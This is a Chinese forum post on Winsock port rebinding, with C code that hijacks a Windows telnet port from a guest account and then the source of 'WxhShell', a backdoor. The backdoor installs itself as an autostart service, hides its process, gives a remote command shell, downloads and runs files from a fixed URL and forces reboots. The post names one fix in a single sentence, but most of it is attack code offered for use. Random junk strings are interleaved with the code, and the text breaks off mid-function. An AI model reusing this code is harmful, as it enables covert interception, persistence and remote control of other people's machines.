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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :A:7^jrhi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4,h)<(d{  
8;c\} D  
  saddr.sin_family = AF_INET; Qp)?wny4  
D^P0X:T]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %zRuIDmv  
P>)J:.tr0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r!eW]M  
(: k n)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Iw)m9h  
#R31V QwK5  
  这意味着什么?意味着可以进行如下的攻击: :%j"l7=>  
)Y'g;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,aBy1K  
{hN<Ot  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !7Qj8YmS  
IR:{{ (  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I@O9bxR?  
P?c V d2Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JC~4B3!  
iC^G^~V+H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9 BU#THDm  
Eyk:pnKJb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /YU8L  
-%P}LaC <  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h8Oj E$ H  
J(maJuY  
  #include 9=/4}!.  
  #include =OV5DmVmQ  
  #include cXf/  
  #include    '+j;g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   llh +r?  
  int main() |M t2  
  { uTPAf^|  
  WORD wVersionRequested; :pz@'J  
  DWORD ret; i O?f&u  
  WSADATA wsaData; `,/5skeJ  
  BOOL val; ?$tD  
  SOCKADDR_IN saddr; L]"$d F  
  SOCKADDR_IN scaddr; qdKqc,R1{  
  int err; 3XQe? 2:<  
  SOCKET s; 5 $$Cav  
  SOCKET sc; "AKr;|m  
  int caddsize; \v<S:cTf  
  HANDLE mt; k q?:<!z  
  DWORD tid;   G/fBeK$.  
  wVersionRequested = MAKEWORD( 2, 2 ); uV@' 898%5  
  err = WSAStartup( wVersionRequested, &wsaData ); >=:mtcph  
  if ( err != 0 ) { M6qNh`+HO  
  printf("error!WSAStartup failed!\n"); F1B/cd  
  return -1; Q*1'k%7  
  } 8\:>;XG6f  
  saddr.sin_family = AF_INET; 7t}s5}Z 4  
   Ygkf}n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?1 Vx)j>|  
$FX$nY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gGBRfq>  
  saddr.sin_port = htons(23); aK|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5!$sQ@#}D  
  { +opym!\  
  printf("error!socket failed!\n"); O7LJ-M  
  return -1; -b8SaLak  
  } ! 9*l!(  
  val = TRUE; G?\eO&QG{"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ex*{iJ;\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {}iS5[H]  
  { u8|CeA  
  printf("error!setsockopt failed!\n"); 3$:F/H  
  return -1; }aXSMxCd  
  } ,WnZ^R/n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '/9MN;_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wxj}k7_(`A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QfPw50N;  
@W @,8e]c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zw$\d1-+h  
  { mJ5%+.V  
  ret=GetLastError(); Iw( wT_  
  printf("error!bind failed!\n"); Knb(MI6  
  return -1; `v<S  
  } 1{d;Ngx  
  listen(s,2); \pTC[Ry1  
  while(1)  Z,O-P9jC  
  { wTZ(vX*mK  
  caddsize = sizeof(scaddr); fGs\R]  
  //接受连接请求 sMUpkU-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7F~gA74h  
  if(sc!=INVALID_SOCKET) c~OPH 0,  
  { /kRCCs8t}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n6Uf>5  
  if(mt==NULL)  < ]+Mdy  
  { wmXI8'~F&  
  printf("Thread Creat Failed!\n"); xt "-Jmox  
  break; u(f;4`  
  } -JPkC(V7]  
  } c>3? T^=  
  CloseHandle(mt); 4tUt"N  
  } n4 N6]W\5  
  closesocket(s); ed_+bCNy  
  WSACleanup(); l7VTuVGUJ  
  return 0; yIngenr$  
  }   bT T>  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2|B@s3a  
  { 8<C@I/  
  SOCKET ss = (SOCKET)lpParam; $MNJsc^n  
  SOCKET sc; )Td{}vbIh  
  unsigned char buf[4096]; .v'`TD).6  
  SOCKADDR_IN saddr; OQ 4h8,  
  long num; e 6>j gy  
  DWORD val; ~Jw84U{$  
  DWORD ret; Cd]A1<6s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a&)!zhVP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gE=9K @  
  saddr.sin_family = AF_INET; 8==M{M/eM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k W 8>VnW  
  saddr.sin_port = htons(23); 2P@6Qe ?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fi;OZ>;a  
  { ru`U/6 n  
  printf("error!socket failed!\n"); 4/mz>eK"  
  return -1; Ya!e8 3-r  
  } cwtlOg  
  val = 100; (0`w.n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B|$o.$5  
  { vRf$#fBEQ  
  ret = GetLastError(); 7w8UnPuM  
  return -1; RF'nwzM3  
  } (RG "2I3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1MnC5[Q  
  { |/%5~=%7  
  ret = GetLastError(); d&Nji%Ej  
  return -1; $ywROa]  
  } 9b,0_IMHH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8tna<Hx  
  { /7p(%vr  
  printf("error!socket connect failed!\n"); 41+WIa L  
  closesocket(sc); &V+KM"Ow  
  closesocket(ss); X%(NI(+x,  
  return -1; x FM^-`7  
  } GJ2ZK=/  
  while(1) qP##C&+#q  
  { J65:MaS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Yl"CIgt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "zQ<)Q]U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S-~)|7d.  
  num = recv(ss,buf,4096,0); z\8s |!  
  if(num>0) o:3(J}  
  send(sc,buf,num,0); >BK/HuS  
  else if(num==0) Jmg9|g!f  
  break; BYhiP/^  
  num = recv(sc,buf,4096,0); (3!6nQj-t  
  if(num>0) )8aHj4x  
  send(ss,buf,num,0); Ty~z%=H  
  else if(num==0) `"yxmo*0  
  break; Iu`S0#+  
  } g.%} +5  
  closesocket(ss); CQa8I2VF (  
  closesocket(sc); zks7wt]A  
  return 0 ; L Yd:S  
  } Y`4 LMK[]  
) )FLM^dj  
J-uQF|   
========================================================== :g|NE\z`)/  
2]5Li/   
下边附上一个代码,,WXhSHELL 9rT^rTV  
-{9mctt/gE  
========================================================== `^'fS@VA  
BOcD?rrZ0  
#include "stdafx.h" p9u'nDi  
R4JfH  
#include <stdio.h> /QVwZrch  
#include <string.h> Qo^(r$BD  
#include <windows.h> }' Y)"8AIA  
#include <winsock2.h> .oT'(6#  
#include <winsvc.h> C8T0=o/-`  
#include <urlmon.h> p8@&(+z  
J` gG`?  
#pragma comment (lib, "Ws2_32.lib") >qr/1mW  
#pragma comment (lib, "urlmon.lib") [{GN#W|AGP  
pnz:<V"Y(  
#define MAX_USER   100 // 最大客户端连接数 :FH&#Eq~4  
#define BUF_SOCK   200 // sock buffer rWDD$4y  
#define KEY_BUFF   255 // 输入 buffer w3sU&  |N  
j%w^8}U>G  
#define REBOOT     0   // 重启 hAc|a9 o  
#define SHUTDOWN   1   // 关机 *V\.6,^v  
]$9y7Bhj.  
#define DEF_PORT   5000 // 监听端口 Ml{ ]{n  
8-k`"QI=  
#define REG_LEN     16   // 注册表键长度 ^ +@OiL>&i  
#define SVC_LEN     80   // NT服务名长度 kN{$-v=K  
~OR^  
// 从dll定义API aT}Hc5L,b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !vpXXI4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {7]maOg>7J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pmWy:0R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /J/V1dC}]D  
.|hsn6i/-  
// wxhshell配置信息 |W=-/~X  
struct WSCFG { [+R_3'aK  
  int ws_port;         // 监听端口 X;UEq]kcmn  
  char ws_passstr[REG_LEN]; // 口令  8 zlvzp  
  int ws_autoins;       // 安装标记, 1=yes 0=no G7v<Q,s  
  char ws_regname[REG_LEN]; // 注册表键名 iDl#foXa`  
  char ws_svcname[REG_LEN]; // 服务名 Yk?q\1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B&B:P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .s,04xW\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gt(p%~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Do\j_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QKq4kAaJ!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |%ZJN{!R  
:3D6OBkB  
}; &QW&K  
!y/e Fx  
// default Wxhshell configuration vazA@|^8  
struct WSCFG wscfg={DEF_PORT, DC1.f(cdR  
    "xuhuanlingzhe", I%Yq86  
    1, |?Edk7`  
    "Wxhshell", "a~r'+'<  
    "Wxhshell", 6k>5+-&_  
            "WxhShell Service", PLz+%L;{  
    "Wrsky Windows CmdShell Service", K\fD';  
    "Please Input Your Password: ", Y%0rji  
  1, 4 ?PB Fbd  
  "http://www.wrsky.com/wxhshell.exe", Kb{&a  
  "Wxhshell.exe" U5~aG!E  
    }; 0#8, (6  
EsX(<bx  
// 消息定义模块 \#) YS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =p=/@FN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :A @f[Y'9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )[ZXPD  
char *msg_ws_ext="\n\rExit."; |nnFjGC`~  
char *msg_ws_end="\n\rQuit."; V V}"zc^  
char *msg_ws_boot="\n\rReboot..."; 'Rsr*gX#  
char *msg_ws_poff="\n\rShutdown..."; _D?/$D7u#%  
char *msg_ws_down="\n\rSave to "; X`WS&!C<  
Jj=N+,km  
char *msg_ws_err="\n\rErr!"; U/s Z1u-  
char *msg_ws_ok="\n\rOK!"; j$/#2%OVN  
$t}W,?   
char ExeFile[MAX_PATH]; b1i~F45h  
int nUser = 0; <8kCmuGlk  
HANDLE handles[MAX_USER]; HK<S|6B7V  
int OsIsNt; u pUJF`3  
{^N,$,Ab.  
SERVICE_STATUS       serviceStatus; O#18a,o@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &g23tT#P?  
Fv %@k{  
// 函数声明 ?6&G:Uz/  
int Install(void); a.gMH uL  
int Uninstall(void); KA{QGaZ/  
int DownloadFile(char *sURL, SOCKET wsh); >]gB@tn[  
int Boot(int flag); LiQH!yHW  
void HideProc(void); ^lZ7%6  
int GetOsVer(void); :{Z%dD  
int Wxhshell(SOCKET wsl); " j?xgV  
void TalkWithClient(void *cs); !> +Lre@  
int CmdShell(SOCKET sock); %5KK#w "  
int StartFromService(void); /<$|tp\Rc  
int StartWxhshell(LPSTR lpCmdLine); _RxnB?  
fS|e{!iI"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GBRiU &D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |zP~/  
F}meKc?a  
// 数据结构和表定义 wA/!A$v(  
SERVICE_TABLE_ENTRY DispatchTable[] = !]A/ID0K  
{ >.od(Fh{l|  
{wscfg.ws_svcname, NTServiceMain}, w_@{v wM$A  
{NULL, NULL} ONcLhwH  
}; Et-|[ eL  
jCNR63/  
// 自我安装 Nb_Glf  
int Install(void) t B`"gC~  
{  f-[.^/  
  char svExeFile[MAX_PATH]; <b _K*]Z  
  HKEY key; sg}<()  
  strcpy(svExeFile,ExeFile); F-ofR]|) >  
4f8XO"k7t=  
// 如果是win9x系统,修改注册表设为自启动 @g;DA)!(  
if(!OsIsNt) { b`S9#`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s91[DT4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /c-k{5mH%  
  RegCloseKey(key); L?0IUGY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +`Nu0y!rj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <[}zw!z  
  RegCloseKey(key); yY49JZ  
  return 0; h;r^9g  
    } |P|2E~[r  
  } &Fuk+Cu{  
} [qkW/qS  
else { 5MCgmF*Y2  
dJ])`S  
// 如果是NT以上系统,安装为系统服务 i(.PkYkaq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9 4lt?|3=  
if (schSCManager!=0)  (yd(ZY  
{ <'sm($.2  
  SC_HANDLE schService = CreateService %_p]6doF  
  ( !J<0.nO/:  
  schSCManager, 4[;}/-  
  wscfg.ws_svcname, b 1Wz  
  wscfg.ws_svcdisp, P~:^bU^F7  
  SERVICE_ALL_ACCESS, T8&sPt,f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7^! zT  
  SERVICE_AUTO_START, Xg_l4!T_l  
  SERVICE_ERROR_NORMAL, &{a#8sbf#c  
  svExeFile, WpE "A  
  NULL, Xf7]+  
  NULL, D5bi)@G7z  
  NULL, KOXG=P0  
  NULL, &K[~Ab_  
  NULL o::9M_;  
  ); `H*mQERb  
  if (schService!=0) +=|%9%  
  { tK*y/S  
  CloseServiceHandle(schService); lcReRcjm  
  CloseServiceHandle(schSCManager); knV*,   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oVbs^sbRH  
  strcat(svExeFile,wscfg.ws_svcname); '3Fb[md54  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N:+EGmp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a x;<idC}  
  RegCloseKey(key); Zj ^e8u=T  
  return 0; \j wxW6>  
    } $w-@Oa*h9U  
  } 7MJ\*+T|03  
  CloseServiceHandle(schSCManager); j)iUg03>/4  
} \ /Q~C!  
} M($GZ~ b%A  
v6uRzFw  
return 1; HEa7!h[a'  
} zYdieE\-  
&%/T4$'+Y+  
// 自我卸载 Q\xDAOEL  
int Uninstall(void) ?LU>2!jN  
{ FrLv%tK|  
  HKEY key; UEYJd&n0CB  
A8S9HXL  
if(!OsIsNt) { 3syA$0TZt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a;~< iB;3"  
  RegDeleteValue(key,wscfg.ws_regname); f qWme:x  
  RegCloseKey(key); mOTA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &P35\q   
  RegDeleteValue(key,wscfg.ws_regname); |90/tNe  
  RegCloseKey(key); }>621L3 -  
  return 0; F,pKt.x  
  } tr/.pw6  
} .s41Tc5u  
} 6iEg]FI  
else { ZzR0k  
!>Q\Y`a,*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^vxNS[C`;  
if (schSCManager!=0) ? }`mQ<~  
{ ==%5Ci7qMy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e8(Qx3T?b  
  if (schService!=0) j*f\Z!EeZ  
  { uXUuA/O5-  
  if(DeleteService(schService)!=0) { 7'{Vh{.  
  CloseServiceHandle(schService); w r,+9uK  
  CloseServiceHandle(schSCManager); D97 vfC  
  return 0; >X"\+7bw  
  } uocFOlU0n  
  CloseServiceHandle(schService); )g3c-W=  
  } fN<Y3^i"  
  CloseServiceHandle(schSCManager); N0\<B-8+,>  
} b^}U^2S%  
} 6^BT32,'  
@"^7ASd%  
return 1; JdWav!PYm  
} {'{9B  
wHx_lsY;   
// 从指定url下载文件 8.IenU9  
int DownloadFile(char *sURL, SOCKET wsh) ty%,T.@e  
{ ^4<&"aoo  
  HRESULT hr; }m Ub1b  
char seps[]= "/"; h>!9N dzG  
char *token; UYW'pV  
char *file; e$`hRZ%  
char myURL[MAX_PATH]; WW^+X~Y  
char myFILE[MAX_PATH]; `P:[.hRu  
H<?s[MH[  
strcpy(myURL,sURL); -2 8bJ,  
  token=strtok(myURL,seps); "d}ey=$h4  
  while(token!=NULL) Co=Bq{GY  
  { u'DpZ  
    file=token; 8=0I4\  
  token=strtok(NULL,seps); :LdPqFXj  
  } c"1Z,M;G  
x1E;dbOZ  
GetCurrentDirectory(MAX_PATH,myFILE); %S$$*|_G  
strcat(myFILE, "\\"); 44YKS>Cq  
strcat(myFILE, file); #ZnNJ\6  
  send(wsh,myFILE,strlen(myFILE),0); 7i#/eRui  
send(wsh,"...",3,0); !3DY#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $ O[Y  
  if(hr==S_OK) I-Ut7W  
return 0; *_}0vd  
else _bgv +/  
return 1; YGc:84S  
)_4()#3  
} MtoOIkQ  
%@TC- xx  
// 系统电源模块 P6'Se'f8  
int Boot(int flag) qTMY]=(  
{ p:0X3?IG3  
  HANDLE hToken; E2>+V{TF  
  TOKEN_PRIVILEGES tkp; \.Op6ECV9  
"{t]~urLd  
  if(OsIsNt) { asCcBp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yg~@} _C2_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @A*>lUo  
    tkp.PrivilegeCount = 1; '4Qsl~[Eh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AR$SQ_4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )%n $_N n  
if(flag==REBOOT) { MQ0r ln?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) difX7)\  
  return 0; _F|}=^Z`  
} g+<[1;[-  
else { r}D#(G$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jo~fri([%Q  
  return 0; 0!$y]Gr  
} 3 5L0 CM  
  } iy]?j$B$  
  else { ]H\tz@ &  
if(flag==REBOOT) { uaU2D-ft"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m&'!^{av  
  return 0; &"hEKIqL  
} x7G*xHJ  
else { #V#!@@c;?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wQ@:0GJH  
  return 0; uxh>r2Xr=  
} Eciu^  
} V@ O)7ND  
M:iH7K  
return 1; e6jA4X+a  
} |(PS bu  
,_,*I/o>B  
// win9x进程隐藏模块 (hQi {  
void HideProc(void) DL!%Np?`  
{ Q {BA`Q@V  
d2-oy5cEB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lmL$0{Yr  
  if ( hKernel != NULL ) Fqgs S  
  { BfVh\ lkH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G'(rjH>q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,w BfGpVb  
    FreeLibrary(hKernel); Zzz94`  
  } <1<xSr  
&oy')\H  
return; W7!iYxO  
} w1aoEo"S  
ylQj2B,CB  
// 获取操作系统版本 SO[ u4b_"h  
int GetOsVer(void) [ K'gvLt1  
{ k6RVP: V  
  OSVERSIONINFO winfo; P+OS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PiCGZybCA  
  GetVersionEx(&winfo); L/] (pXEp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X ,^([$  
  return 1; P t/]Z<VL  
  else lI.oyR'  
  return 0; Q[K)Yd  
} K :~tZ  
mZPvG  
// 客户端句柄模块 j0a=v}j3  
int Wxhshell(SOCKET wsl) cGdYfi  
{ (}.MB3`#C  
  SOCKET wsh; p3{Ff5FZ  
  struct sockaddr_in client; ]t`SCsoo  
  DWORD myID; gTU5r4xm~  
;B[(~LCyT  
  while(nUser<MAX_USER) rKyulgP  
{ dl6U]v=  
  int nSize=sizeof(client); dt+r P%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hh*('n>[  
  if(wsh==INVALID_SOCKET) return 1; %9Z0\ a)[  
kw]?/s`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z[ (d7  
if(handles[nUser]==0) NVsaV;u  
  closesocket(wsh); ~T-uk  
else ar}-~~h 5  
  nUser++; 7Zd g314  
  } -57~7 <N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9:-7.^`P  
}f?[m&<  
  return 0; /sT?p=[.  
} ctLNzJes%  
f% )9!qeW  
// 关闭 socket [Z#Sj=z  
void CloseIt(SOCKET wsh) 5\#I4\  
{ >0<n%V#s:r  
closesocket(wsh); B%MdJ D>  
nUser--; pq&[cA_w  
ExitThread(0); K%x]:|,>M  
} IM/xBP  
J@6j^U  
// 客户端请求句柄 t H.L_< N  
void TalkWithClient(void *cs) QeuM',6R  
{ DF4CB#  
@p WN5VL  
  SOCKET wsh=(SOCKET)cs; PM#3N2?|E  
  char pwd[SVC_LEN]; /WE\0bf  
  char cmd[KEY_BUFF]; *vuI'EbM  
char chr[1]; 4"(rZWv  
int i,j; Dd pcov  
,p#B5Dif/  
  while (nUser < MAX_USER) { -eyF9++`  
dM= &?g  
if(wscfg.ws_passstr) { 2Ki_d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {5<fvMO!6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >V27#L2:J  
  //ZeroMemory(pwd,KEY_BUFF); bp=r]nO  
      i=0; 4R\jZ@D  
  while(i<SVC_LEN) { p^RX<L/\=_  
!|H,g wqU  
  // 设置超时 yV\%K6d|3&  
  fd_set FdRead; W&%,XwkQ  
  struct timeval TimeOut; [X!w@d= i  
  FD_ZERO(&FdRead); PS+~JwDUc  
  FD_SET(wsh,&FdRead); }^&f {   
  TimeOut.tv_sec=8; PgT8 1u  
  TimeOut.tv_usec=0; ?u@jedQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =f{v:n6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /]!2 k9u\  
 R#^ku)0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^4^N}7>5  
  pwd=chr[0]; Q+9:]Bt  
  if(chr[0]==0xd || chr[0]==0xa) { d8w3Oz54  
  pwd=0; m x |V)  
  break; ;..z)OP_  
  } b(;u2 8  
  i++; `Y4Kw  
    } c:7F 2+p  
nk%v|ZxoFv  
  // 如果是非法用户,关闭 socket W3/bM>1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $KGMAg/H  
} fPUr O  
VYkh@j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z,E$4Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C:5- h(#  
Fw\Z[nh  
while(1) { ckA\{v  
iKJqMES  
  ZeroMemory(cmd,KEY_BUFF); rVNx 2  
b2UDPW  
      // 自动支持客户端 telnet标准   YxJQ^D`  
  j=0; :#^qn|{e  
  while(j<KEY_BUFF) { u5k {.&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L4m Vk  
  cmd[j]=chr[0]; 4i)5=H  
  if(chr[0]==0xa || chr[0]==0xd) { Jp]?tlT  
  cmd[j]=0; K xX[8  
  break; yef\Y3X  
  } U,EoCAm>  
  j++; bAZoi0LR  
    } kP&I}RY  
^py=]7[I  
  // 下载文件 9Sxr9FLW~  
  if(strstr(cmd,"http://")) { 6Qt(Yu*s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EOrui:.B)  
  if(DownloadFile(cmd,wsh)) 06f%{mAZS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aX;>XL4  
  else N knS:r&2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B=a+cT  
  } 6Lq`zU^  
  else { Gd%i?(U,R  
1~L;S  
    switch(cmd[0]) { P>X[}  
  1\m,8i+gU  
  // 帮助 l1DJ<I2  
  case '?': { g&xj(SMj-$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VGeTX 4h  
    break; nwKp8mfP  
  } (6ga*5<  
  // 安装 h{^v756L  
  case 'i': { )4=86>XJT  
    if(Install()) OA&'T*)-A6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gc`PO  
    else H@ 1'El\9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $kTm"I  
    break; &<98n T  
    } V&nB*U&s"  
  // 卸载 SZ9Oz-?  
  case 'r': { :$b` n  
    if(Uninstall()) *zrGrk:l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X+XDfEt:Q  
    else ]|CcQ1#|H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yvo*^jv  
    break; @Z ==B%`  
    } 1Q(KZI  
  // 显示 wxhshell 所在路径 mufGv%U2  
  case 'p': { o{,I O!q  
    char svExeFile[MAX_PATH]; A4,{ep'Z!  
    strcpy(svExeFile,"\n\r"); *gwlW/%Fz  
      strcat(svExeFile,ExeFile); ]{6/6jl  
        send(wsh,svExeFile,strlen(svExeFile),0); u>fMO9X} 2  
    break; wkx9@?2*  
    } RQQ' Wg  
  // 重启 D#&9zR86F  
  case 'b': { &>Ve4!i q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hh^ "c}  
    if(Boot(REBOOT)) =\%ER/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dXh[Ea^  
    else { vYV!8o.I  
    closesocket(wsh); 6 H P 66B  
    ExitThread(0); 6v3l^~kc'  
    } @@o J@;  
    break; ?0/$RpFEM#  
    } x!_5 /  
  // 关机 $UH:r  
  case 'd': { l|WFS  
